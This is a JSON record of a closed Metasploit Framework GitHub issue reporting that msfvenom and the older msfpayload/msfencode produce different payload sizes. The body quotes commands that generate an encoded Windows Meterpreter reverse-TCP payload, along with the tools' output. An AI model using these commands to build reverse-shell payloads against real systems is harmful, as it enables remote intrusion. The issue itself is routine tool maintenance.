{"action":"closed","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5361","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5361/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5361/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5361/events","html_url":"https://github.com/rapid7/metasploit-framework/issues/5361","id":77380237,"number":5361,"title":"msfvenom vs msfpayload/msfencode payload size difference","user":{"login":"corelanc0d3r","id":639369,"avatar_url":"https://avatars.githubusercontent.com/u/639369?v=3","gravatar_id":"","url":"https://api.github.com/users/corelanc0d3r","html_url":"https://github.com/corelanc0d3r","followers_url":"https://api.github.com/users/corelanc0d3r/followers","following_url":"https://api.github.com/users/corelanc0d3r/following{/other_user}","gists_url":"https://api.github.com/users/corelanc0d3r/gists{/gist_id}","starred_url":"https://api.github.com/users/corelanc0d3r/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/corelanc0d3r/subscriptions","organizations_url":"https://api.github.com/users/corelanc0d3r/orgs","repos_url":"https://api.github.com/users/corelanc0d3r/repos","events_url":"https://api.github.com/users/corelanc0d3r/events{/privacy}","received_events_url":"https://api.github.com/users/corelanc0d3r/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","locked":false,"assignee":null,"milestone":null,"comments":4,"created_at":"2015-05-17T19:40:01Z","updated_at":"2015-05-17T23:08:28Z","closed_at":"2015-05-17T23:08:28Z","body":"I have noticed some payload size differences between msfvenom and msfpayload/msfencode:\r\n\r\nmsfvenom (702 bytes):\r\n```\r\n./msfvenom -p windows/meterpreter/reverse_tcp exitfunc=thread lhost=1.1.1.1 -a x86 -e x86/alpha_mixed -f c\r\n\r\nNo platform was selected, choosing Msf::Module::Platform::Windows from the payload\r\nFound 1 compatible encoders\r\nAttempting to encode payload with 1 iterations of x86/alpha_mixed\r\nx86/alpha_mixed succeeded with size 702 (iteration=0)\r\nPayload size: 702 bytes\r\n```\r\n\r\nmsfpayload/msfencode (624 bytes):\r\n```\r\n./msfpayload windows/meterpreter/reverse_tcp exitfunc=thread lhost=1.1.1.1 R | ./msfencode -e x86/alpha_mixed -type c\r\n\r\n[!] ************************************************************************\r\n[!] *               The utility msfpayload is deprecated!                  *\r\n[!] *              It will be removed on or about 2015-06-08               *\r\n[!] *                   Please use msfvenom instead                        *\r\n[!] *  Details: https://github.com/rapid7/metasploit-framework/pull/4333   *\r\n[!] ************************************************************************\r\n[!] ************************************************************************\r\n[!] *               The utility msfencode is deprecated!                   *\r\n[!] *              It will be removed on or about 2015-06-08               *\r\n[!] *                   Please use msfvenom instead                        *\r\n[!] *  Details: https://github.com/rapid7/metasploit-framework/pull/4333   *\r\n[!] ************************************************************************\r\n[*] x86/alpha_mixed succeeded with size 624 (iteration=1)\r\n```\r\n"}}